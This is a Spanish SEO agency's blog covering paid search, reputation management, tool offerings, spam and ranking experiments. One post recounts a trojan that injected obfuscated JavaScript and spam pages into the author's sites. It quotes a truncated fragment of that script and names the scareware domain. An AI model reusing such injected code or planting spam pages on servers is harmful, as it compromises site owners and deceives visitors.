Marketing y SEO

El marketing convencional ha visto muchas de sus metodologías cambiar a partir de la Web, y si bien los principios básicos siguen en pié, un comercializador de los años 80 se encontraría muy perdido hoy en la era del SEM, el SEO y los resultados instantáneos. SEO se refiere a la optimización de sitios para su posicionamiento en buscadores, aunque quedan excluidas de esta definición algunas técnicas necesarias para obtener resultados, tales como la gestión de links externos, el mailing y la creación de medios alternativos de comunicación, externos al sitio: software, ebooks, videos, gadgets. SEM (search engine marketing) es el término que Yahoo usa para referirse a sus avisos pagos, ya sea que se paguen por cada click (PPC o pago por click) o por millar de exposiciones. Google lo llama Adwords, el nombre de su popular producto de publicidad en el buscador (search network, red de búsqueda) o en contenidos de webmasters afiliados al programa (content network, red de contenidos).
Sigue siendo válido el buscar un nicho de mercado (marketing niche) y elaborar un mensaje convincente para hacérselo llegar del modo más directo posible. La diferencia es que es mucho más fácil conocer las preferencias del público en base a lo que éste le pregunta al buscador, y el mensaje compuesto y mostrado instantáneamente, en general a la derecha de la pantalla que el cliente investiga, es lo más directo que se llega al cliente que busca algo.
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Posicionamiento Web

El Posicionamiento Web es una segunda etapa natural de la presencia web. Habitualmente las empresas o profesionales adquieren una página web, y luego se sientan a esperar la aparición de clientes. Eso no ocurre así, porque una cosa es tener un sitio de los muchos millones que hay en cada categoría, y otra cosa es tener un sitio con un buen Posicionamiento Web, para las palabras clave relevantes para la actividad de cada uno.
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Alta en Buscadores: no tan simple como parece

Hemos dedicado al alta en buscadores mucho esfuerzo a lo largo de los años, y los hemos vuelto el foco de nuestra actividad.
Por un breve lapso el mercado de buscadores estuvo repartido parejo entre Altavista y Yahoo, hasta que Google irrumpió basado en rapidez, calidad y automatización, y se hizo con el grueso de las búsquedas y del negocio.
En un principio el alta requería llenar un formulario, pero luego el apetito de Google por contenido se hizo tan grande que se metía por cualquier link y descubría el nuevo contenido, y hasta en los sitios no linkeados (enlazados), a través de la barra de navegación de su dueño.
Entonces, ¿qué sentido tiene hoy hablar de Servicio de Alta en Buscadores?.
En principio, ninguno. Pero ocurre que al dueño de sitio común no sólo le interesa estar incluido en El Buscador, sino estar bien posicionado (bien rankeado). Y para estar bien posicionado, el alta en buscadores alternativos es útil.
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SEO para sitios de alquileres temporarios

Ultimamente varias compañías que alquilan departamentos temporarios en Buenos Aires inquirieron por servicios de SEO, con el resultado de que terminaron contratando campañas de posicionamiento en buscadores pago (PPC) y orgánico (resultados no pagos a la izquierda de la SERP (páginas de resultados del buscador).
El SEO (optimización de sitios para posicionamiento en buscadores) es el mismo para todos los temas, pero siempre hay recursos especiales para cada tema, sobre todo en lo referente a generación de links, marketing viral y otras herramientas que tienen que ver más con Promoción de Sitios que con SEO puro.
Para estas empresas clientas dedicadas a alquiler temporario de departamentos, hemos puesto a disposición distintos recursos:

  • – manejo de Marketing Pago en Buscadores, tipo Adwords
  • – optimización del sitio principal
  • – creatividad en keywords y avisos
  • – realización de sitios accesorios
  • – campañas temporarias basadas en eventos (exposición Rural en Palermo, Festival de Tango, vacaciones de invierno)
  • – Participación en foros y redes sociales para anunciar la disponibilidad de departamentos
  • Información a posibles turistas sobre diversos temas específicos del destino a promocionar.
  • Dado que los clientes actuales no solicitaron exclusividad, estamos en condiciones de ofrecer el servicio a otras empresas del mismo rubro, para nuestra ciudad de Buenos Aires u otras, sin limitaciones geográficas.

    Posicionamiento Negativo

    Existe una disciplina dentro del SEO llamada «Posicionamiento Negativo», que consiste en des-posicionar una página web. Usualmente se relaciona con el «Manejo de Reputación en lí­nea», o «Online Reputation Management».
    Supongamos que alguien escribe un comentario negativo sobre una persona, sitio o empresa. Por esas cosas del posicionamiento, el comentario negativo puede posicionarse primero que los positivos.
    Recuerdo que en una época visité una «agencia de recortes», donde los empleados armados con tijeritas, examinaban pilas de diarios y revistas. Luego armaban carpetas destinadas a los clientes que querían enterarse de cómo se hablaba de ellos en los medios, para luego enviar a sus agentes de relaciones públicas, o a sus abogados. El equivalente actual de ello sería buscar en Google el nombre de uno, o de su empresa, y tratar de actuar en contra de los que publican páginas negativas.
    Las Agencias de SEO, como nosotros, solemos tener encargos de ese tipo. No nos ocupamos de la parte judicial, pero sí de las relaciones con los webmasters que pueden (o no) retirar las páginas ofensivas. No olvidemos que mucho en Internet se publica en forma anónima, o a nombre de un menor o de alguien que reside en las antí­podas.
    Recientemente la Wikipedia de Alemania estuvo cerrada por completo porque a un político no le gustó su biografía publicada en ella.

    Wikipedia.de fuera de servicio

    También Google Argentina tuvo juicios de unas modelitos de cuya reputa-
    ción alguien había dudado en forma pública:
    Isabel hace juciio a Google por dudar de su reputacion Priscilla hace juciio a Google por dudar de su reputacion
    Estos jucios son llevados a cabo por estudios especializados en calumnias e injurias, y los imputados defendidos por otros especializados en derecho informático y libertad de expresión, y no son sencillos, debido a que lo publicado en la web tiene muchos aspectos técnicos. Los responsables pueden ser varios, en una cadena que va desde un usuario anónimo, un supervisor, un webmaster, un proveedor de hosting, un proveedor de conectividad, etc.
    Para dejar clara nuestra posición al respecto, acá va la cinta azul por la libertad de expresión en internet, de la Electronic Frontier Foundation:

    freedom of expression

    Desde el punto de vista de SEO, nosotros realizamos los aspectos no-judiciales del posicionamiento negativo, que implican contactar a los responsables de la publicación negativa y tratar de que la modifiquen o eliminen. Si eso no da resultado, generamos varias páginas con la palabra clave cuestionada, y tratamos de posicionarlas por encima de las páginas negativas.
    Las campañas de Reputation Management, en español o inglés, arrancan en los 500 dólares.

    Programadores para SEO esperando encargos

    Como resultado de un pedido de un cliente que querí­a mejorar nuestra herramienta Synonymizer, hemos contratado una segunda programadora, que está terminando ya el encargo inicial. El producto saldrá próximamente en su nueva versión, con más prestaciones y mejor interfase de usuario.
    Pero previendo ya la terminación del encargo, ofrezco a los clientes la disponibilidad de nuestro equipo para la confección o mejora de otras herramientas SEO.
    En nuestro sitio www.foundFirst.com mencionamos algunas de ellas: Great Gateway Generator, Synonymizer, Algo Cracker, Octopus Link Quadrangulator, Delinker, Easy Expert System (eRecommender), SEO-friendly FAQ, KeywordThief (now Metatag Thief) and Site Metatag Analyzer.
    Las dos primeras han estado en producción y venta por cierto tiempo, y las demás están en etapa de desarrollo.
    Todos estos productos están destinados a los optimizadores y desarrolladores de sitios web, sobre todo anglo-parlantes. Sin embargo, con muy poco esfuerzo podemos lanzar la versión en español.
    Manejamos la tecnología VBasic, MySQL, PHP, Javascript, y seguramente otras similares, por ahora sólo consultadas en el curriculum de los programadores.
    Esperamos propuestas…

    Porqué recibimos spam de las empresas de Posicionamiento en Buscadores?

    En numerosas ocasiones he recibido e-mail no solicitados (spam) enviados por empresas de posicionamiento en buscadores.
    Más allá de que cualquier spam es molesto, abusivo y seguramente ilegal, creo que cuando lo enví­an los supuestos expertos en posicionamiento en buscadores, la desconfianza que generan respecto de sus servicios es mucho mayor.
    En alguna ocasión me tomé la molestia de googlearlos para saber si existí­an, y luego de los primeros 200 puestos no encontré nada. Es eventualmente posible que tengan dos nombres uno para enviar spam y otro para figurar en Google, pero en el caso de una empresa que conozco no es así­.
    Es cierto que con el mismo criterio, estas empresas (incluso la mía) no deberí­an usar Adwords. Y lo usamos, porque sabemos que conviene y aumenta las visitas. Es posible que ya se haya desarrollado una variedad de usuario, corporativo, pudiente, experto, que busca y sólo clikea los avisos. Más allá de un pequeño porcentaje de fraudulentos o vandálicos, los que clikean avisos saben que la página va a estar activa, que es relevante, y que no lo atenderá un adolescente incapaz de firmar un contrato.
    No he visto aún empresas de SEO (posicionamiento) que avisen en los periódicos de papel, esa reliquia que aún existe en los kioscos callejeros, además de en su propia página web. Claro que yo hace mucho que no leo un diario en papel, por lo cual no lo hubiera notado de todos modos. Seguramente pronto compraré unos diarios en papel para verificar este concepto, y eventualmente aprovechar una oportunidad de publicitar ante un público más tradicionalista pero que seguramente necesitará también el servicio.
    Pero volviendo a la paradoja inicial, pareciera que el spam por email no es el camino a seguir. Aunque cuando lo vea al spammer, le voy a preguntar cual es su tasa de conversión. Sólo para tener una idea. Quizá me lleve una sorpresa.
    Ahora, un poco de autobombo necesario para todo posicionador de sitios que se precie de tal.
    Esta semana verifiqué que este sitio ya está en el puesto 50 de Google bajo Posicionamiento en Buscadores, de entre 1.750.000 sitios. Costó su tiempo, pero valió la pena. Si bien www.PromotordeSitios.com.ar tiene excelentes posiciones en términos relacionados, (1ro. entre 3.480.000 bajo Promoción de Sitios), el término por excelencia es Posicionamiento en Buscadores, o quizá SEO posicionamiento, en el que también hemos trepado al puesto 45.
    Por encima de algunas empresas con bastante presupuesto, y por encima de los spammers. Por suerte…

    Lo que un promotor de sitios puede aprender de una infección con troyano

    Ayer noté que mis visitas diarias en uno de mis sitios se habí­an quintuplicado de golpe. Luego de la satisfacción inicial por el reconocimiento a la calidad de mis artí­culos, algo llamó mi atención: Los temas pedidos no tení­an nada que ver con mi temática, promoción de sitios. Pedí­an recetas de comidas y tragos, porno, etc. Y cuando uno visitaba las páginas, que no habí­an sido publicadas por mí­, un malware trataba de vender por la fuerza un producto anti-spamware.
    Alarmado, empecé a recorrer mis sitios con FTP, y noté una cantidad de archivos que no había­n sido publicados por mí­, y que correspondí­an a fechas de entre el 7 y el 15 de este mes. Rápidamente hice un chequeo antivirus online con Bitdefender o alguno similar, limpié mi máquina y repuse los archivos originales en los dominios. La infección seguramente subió archivos a través de mi PC, porque abarcaba varios servidores distintos, de sitios que eran accesibles por mi FTP.
    La limpieza no fue fácil. Salvo la fecha, no habí­a nada para guiarme. Muchos archivos mís habí­an recibido una inyección de código al final, en Javascript, con links, y no eran detectables desde el explorador. Por lo tanto, los archivos con fecha sospechosa fueron sobreescritos. Otros archivos eran nuevos, pero tení­an nombres similares a los ya existentes, y los contenidos mezclaban contenido original mí­o con otro proveniente de recetas de comida francesa, en inglés… Y muchos links hacia el malware que te extorsiona a que lo compres. Ojo! No entrar sin tomar precauciones, tiene un javascript malicioso: está basado en adware-spyware-removal.co.cc. No aconsejo a nadie comprar un producto anti-virus hecho por fabricantes de virus. Es ceder ante la extorsión y puede tener un virus aún peor.
    Antes de limpiar, me bajé una carpeta con archivos infectados para analizarlos. Los abrí­ primero con Notepad para limpiar el Javascript, o desde el cache de Google con la opción Sólo Texto. También le agregué rel=»nofollow» a la infinidad de links que tiene para evitar perder PageRank. Conservo ejemplos de página con contenido adulterado, y otro ejemplo de página generada propiamente por el virus, usando material que encontró en el sitio y en otros anteriores que infectó.
    El javascript que saqué está ofuscado (enrevesado para que no se entienda) y luce algo así­ como:
    <script language=»javascript»>function not(kf,cybf){if(!cybf){cybf=’+=ETxNe0C.UW6{ki8HJmt9R1IML(aQG*hn-scyY&PBZASv3f)l4KOXV?wuDpqF7;’;}var y;var OR=»;for(var azho=0;azho<kf.length;azho+=4){y=(cybf.indexOf(kf.charAt(azho))&63)<<18|(cybf.indexOf(kf.charAt(azho+1))&63)<<12|(cybf.indexOf(kf.charAt(a …
    … </script>
    Las páginas enlazan a otras infectadas por el mismo agente, lo cual genera una gran red de páginas interconectadas que llevan mayormente el tráfico al sitio de venta de malware.
    Pero lo interesante fue analizar los logs de mi servidor, y observar que el tráfico vení­a en parte de otras páginas infectadas, y en parte de los mismos buscadores. Los referrers eran Google y Live Search, las frases clave stuffed hot cherry peppers, o Recipe/Elderflower Punch, y mis páginas infectadas estaban en los primeros puestos.
    Supongo que esos posicionamientos puedo mantenerlos, si subo una página limpia que reemplace a la anterior, y explico cual fue el problema. Pero no me interesan los buscadores de recetas exóticas, por lo tanto esperaré que los buscadores se cansen de encontrar error 404 y me den de baja.
    Lo que si es interesante es la estructura de las páginas usadas para captar visitas a través de buscadores: mucho texto, generado por algún Content Generator (similar a Synonymizer), y estructurado en páginas con muchas palabras clave, enlaces intercalados con texto relevante, mucho H1, y nada de diseño ni imágenes. Cantidad (miles de páginas en un sólo directorio, decenas de nuevos directorios en cada sitio infectado) y no calidad (texto derivado de mezclar palabras y frases). Obviamente que son páginas que el ojo humano no ve, porque el Javascript las redirecciona, pero sí el spider de los buscadores.
    Dado que una de mis herramientas para posicionar sitios es un Page Generator que hace cosas parecidas, aunque sin invadir ni robar espacio de servidor ajeno, tomé debida nota de la estructura de dichas páginas.

    Tercer experimento de poder de posicionamiento de dominios: Familia Raimundez

    Continuando con la serie de experimientos de poder de posicionamiento, hemos subido ayer una serie de páginas correspondientes a una supuesta Familia Raimundez, con los hermanos Filiberto, Fulgencio, Victoriano, Nepomuceno, Hilarion, Gualberto, Terencio, Estanislao y Deolindo.
    Los contenidos son grupos de casi 500 palabras de texto original sobre internet, en español, provenientes de un libro impublicado mío de hace 9 años. Además del nombre destacado de cada hermano, hay una combinación inusual única de palabras, en cada página, que servirá como segundo identificador de página. Seguramente este segundo identificador dará los mismos resultados que el primero, es decir, el nombre de cada hermano.
    En un caso hemos enviado dos hermanos al mismo dominio, para ver si sólo se posiciona el primero, como sugieren algunos expertos (ver el blog de http://www.seo-scientist.com/).
    Estamos además tratando de identificar directorios de baja calidad a los cuales podemos estar linkeando nuestros sitios con efecto penalizante.  Para ello tratamos de calcular los mejores indicadores de penalización en Goog, siendo los mejores los que son consistentes, notables, fáciles de calcular, etc.
    Esperamos que los resultados del experimento estén en 10 dí­as, como los del experimento 2 (Flia. Antolinez) y el 1 (variedades de papa para cocktail).
    A los webmasters que deseen participar en el próximo experimento, les sugiero contactarse conmigo.

    Poder de Posicionamiento de un Dominio

    Una generalización del Test de Penalización que describimos anteriormente, es el Test de Poder de Posicionamiento. De ese modo calificamos a la Penalización como Poder de Posicionamiento Negativo, y podemos identifciar sitios con Poder de Posicionamiento Positivo, que serían muy valiosos.
    Es conocido que los sitios más importantes pueden publicar cualquier cosa y conseguir un buen ranking, mientras que los sitios pequeños requieren de mucho más esfuerzo. Muchas veces nos ocurre que enviamos un aviso clasificado con las keywords a posicionar, y el sitio de los clasificados posiciona mucho antes y mucho mejor que el sitio propio, completamente optimizado para esa keyword.
    Existen posiblemente factores temáticos, además, que establecen esta capacidad. Por ejemplo, si en un sitio de consejo médico publico un artículo sobre Diabetes, tendrá más capacidad de rankear bien que el mismo artículo en un sitio de jardinería. Sin embargo, esta hipótesis no es sencilla de probar, porque no se puede publicar el mismo artículo dos veces. Esto desencadenaría una penalización por contenido duplicado. Además, es obvio que los mencionados sitios importantes (Wikipedia, clasificados) posicionan todos los temas.
    El Poder de Posicionamiento de un Dominio está relacionado con diversas caracterí­sticas del mismo, y queremos definir cuales son. Para ello, disponemos de dominios propios e iremos incorporando dominios de clientes que nos piden la prueba.
    Una vez estandarizado el test y conocidos los valores de referencia, seremos más efectivos en la evaluación de sitios de clientes. Será entonces más fácil detectar la penalización y tomar medidas correctivas.
    El primer objetivo es analizar el Poder de Posicionamiento de un Dominio, abstrayéndonos del contenido. Una prueba aceptable sería realizar varios sitios con contenido totalmente irrelevante a la palabra clave en cuestión, o con el mismo contenido irrelevante, pero con una permutación diferente de las mismas frases. Esto hicimos en la prueba mencionada en el artículo anterior, sobre la familia Antolinez.
    Para lograr la indexación de todos los dominios, se crearán varias páginas mapa con links a todas las páginas a probar. Para que no influya demasiado el orden en que están los links, cada mapa tendrá los links en distinto orden.
    Cuando se trabaja con servidores compartidos todos los dominios tienen la misma IP. A los ojos de Google pueden ser considerados como un solo dominio, y activar algún filtro de contenido duplicado. Un modo de no activar el filtro anti-duplicación, es que los dominios ensayados que estén en la misma IP no contengan todos ellos links (enlaces) a una única página destino.
    Se realizará la medición del Poder de Posicionamiento con la metodología descripta anteriormente en el artículo sobre los Antolinez.  Dado que muchos de los dominios de que disponemos ahora tienen palabras clave en el nombre relacionada con SEO y posicionamiento en buscadores, en la prueba se utilizará otra temática. Además el tema SEO es extremadamente competitivo, y es posible que tenga filtros especiales y observadores humanos.
    Los 20 dominios que alojarán las 20 páginas permitirán comparar distintos TLD (.com, .com.ar, .org.ar, .info), distintos PageRank, distintas IP, distinto número de links entrantes, distinto tráfico.
    Se elegirá una palabra clave que posea aproximadamente 1000 páginas indexadas. De acuerdo a la posición obtenida por el dominio en estudio se calculará un índice de Poder de Posicionamiento, que irá de 1 a 1000. Por ejemplo, la Wikipedia debería tener un poder de posicionamiento de 1, y un sitio penalizado, de 1000.
    Para que la medición sea independiente de la palabra clave usada, se ajustará el ranking del dominio incógnita en función de los resultados promedio de los dominios control.
    Hay varias herramientas para calificar el valor de los dominios, pero ninguna se refiere a este poder de posicionamiento. Por ejemplo:
    – lo más cercano al nuevo índice propuesto en este artículo es el Trust Rank, pero no hay una manera de calcularlo.
    – el valor de un sitio se puede calcular usando WebsiteOutlook.com, y está relacionado con el tráfico, los links entrantes, la antigüedad, etc.
    – la dificultad de posicionar una keyword se mide con la Keyword Difficulty, de Seochat.com. Se la utilizará para elegir una keyword de dificultad intermedia, que arroje unos 1000 resultados.
    – el tráfico se estima con Alexa.com . No se sabe si Google lo tiene en cuenta, pero está relacionado con posicionamiento y links entrantes, además de con publicidad paga y marketing offline. Lo usamos para ver si correlaciona con el nuevo índice, cosa que seguramente ocurrirá.
    El índice de Poder de Posicionamiento es útil para planificar campañas de posicionamiento de webs y para la compra-venta de dominios.
    Los dominios a usar para el cálculo del Poder de Posicionamiento serán mantenidos en secreto para evitar distorsiones.
    Espero comentarios y sugerencias mientras termino de preparar el siguiente experimento.